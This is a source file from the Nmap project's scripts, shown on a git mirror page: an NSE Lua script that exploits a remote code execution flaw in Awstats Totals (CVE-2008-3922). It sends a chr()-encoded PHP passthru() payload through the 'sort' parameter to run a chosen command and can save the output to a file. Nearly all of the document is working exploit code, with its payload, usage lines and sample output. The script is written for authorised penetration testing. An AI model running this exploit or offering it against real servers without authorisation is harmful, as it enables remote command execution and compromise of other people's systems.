1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-09 06:01:28 +00:00
Files
nmap/scripts/http-awstatstotals-exec.nse
dmiller 31bc2847bd Normalize script author fields
Clean up some typos and differences. Most have been normalized to
whatever form of the name occurred in the largest number of scripts.
Paulino was contacted directly and requested his email be added to all
of his credits.
2013-09-20 18:56:22 +00:00

135 lines
4.4 KiB
Lua

local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
description = [[
Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it (CVE: 2008-3922).
This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function:
<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
Common paths for Awstats Total:
* <code>/awstats/index.php</code>
* <code>/awstatstotals/index.php</code>
* <code>/awstats/awstatstotals.php</code>
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
* http://www.exploit-db.com/exploits/17324/
]]
---
-- @usage
-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
-- nmap -sV --script http-awstatstotals-exec.nse <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-awstatstotals-exec.nse:
-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
--
-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
---
-- Other useful args when running this script:
-- http.useragent - User Agent to use in GET request
--
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
--default values
local DEFAULT_CMD = "whoami"
local DEFAULT_URI = "/index.php"
---
--Writes string to file
-- @param filename Filename to write
-- @param content Content string
-- @return boolean status
-- @return string error
--Taken from: hostmap.nse
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
--Checks if Awstats Totals installation seems to be there
-- @param host Host table
-- @param port Port table
-- @param path Path pointing to AWStats Totals
-- @return true if awstats totals is found
local function check_installation(host, port, path)
local check_req = http.get(host, port, path)
if not(http.response_contains(check_req, "AWStats")) then
return false
end
return true
end
---
--MAIN
---
action = function(host, port)
local output = {}
local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
--check for awstats signature
local awstats_check = check_installation(host, port, uri)
if not(awstats_check) then
stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME)
return
end
--Encode payload using PHP's chr()
local encoded_payload = ""
cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end)
if string.sub(encoded_payload, #encoded_payload) == "." then
encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1)
end
local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}"
--set payload and send request
local req = http.get(host, port, uri .. stealth_payload)
if req.status and req.status == 200 then
output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
--if out set, save output to file
if out then
local status, err = write_file(out, req.body)
if status then
output[#output+1] = string.format("Output saved to %s\n", out)
else
output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
end
end
else
if nmap.verbosity()>= 2 then
output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
end
end
--output
if #output>0 then
return stdnse.strjoin("\n", output)
end
end